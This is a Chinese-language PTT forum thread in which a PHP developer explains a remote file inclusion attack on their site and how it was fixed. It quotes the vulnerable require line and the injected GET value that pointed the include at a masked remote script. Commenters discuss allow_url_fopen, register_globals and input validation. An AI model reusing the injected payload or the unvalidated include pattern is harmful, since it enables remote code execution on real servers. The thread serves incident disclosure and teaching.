Re: [請益] 網路攻擊?

[september02 (九月二號)]

已經找到了漏洞了,所以上來報告一下

我程式中有一行
require $PATH.'config.php';

這個$PATH是和一個GET變數有關,所以被人把$PATH設成了
"http://www.XXX.XX/webcam/pesquisadorRFI.txt?"
整行就變成了
require(http://www.XXX.XX/webcam/pesquisadorRFI.txt?/config.php)

另外提醒大家
PHP.INI中的allow_url_fopen
最好是設成OFF(預設ON)
可以避免以上的問題發生



--
愛情真奇妙,可以讓二個陌生的人變的如此親密

婚姻更奇妙,可以讓二個親密的人變的如此陌生

--
※ 發信站: 批踢踢實業坊(ptt.cc) 
◆ From: 218.167.184.34
→ gname:我比較想知道為什麼你的GET會被竄改? source code被改?
→ gname:還是你完全沒有過濾就直接把GET就用上去了?
→ mrbigmouth:比起關allow_url_fopen　對使用端的所有輸入進行檢查才
→ mrbigmouth:是正道
→ mrbigmouth:我的辦法是在所有網頁開頭放置檢查函數　詳細定義這個
→ mrbigmouth:網頁有哪些POST或GET變數　變數是數字or字串 and長度等
→ sdcomputer:變數污染的問題遠比allow_url_fopen還重要多了..
→ bibo9901:應該是把register_globals關掉才對
→ MOONRAKER:register_globals不是控制要不要把$_REQUEST裡面的東東
→ MOONRAKER:註冊成全域變數嗎 他應該沒有直接這樣使用吧
推 LPH66:$_GET 也是 $_REQUEST 裡的東西啊...
→ LPH66:所以這裡就是那個人用 ?PATH=xxxx 去給它設值而已
→ LPH66:我也覺得應該要關 register_globals
→ MOONRAKER:他如果用$PATH=$_GET['path']那有沒有關都一樣啦
推 LPH66:也是  所以還是自己程式寫作的習慣問題...
→ september02:是的,是我寫程式的習慣不好...
→ mirae:不管習慣好不好,官方register_global建議要關掉,有安全問題
→ mirae:http://php.net/manual/en/security.php,可以好好看一看
→ MOONRAKER:新的沒有人還開著了吧。
→ mirae:告訴學員說register_global必須打開程式才能work..真實故事.
→ mirae:這很難說,之前聽過一個故事,某職訓班PHP講師上課時演示程式,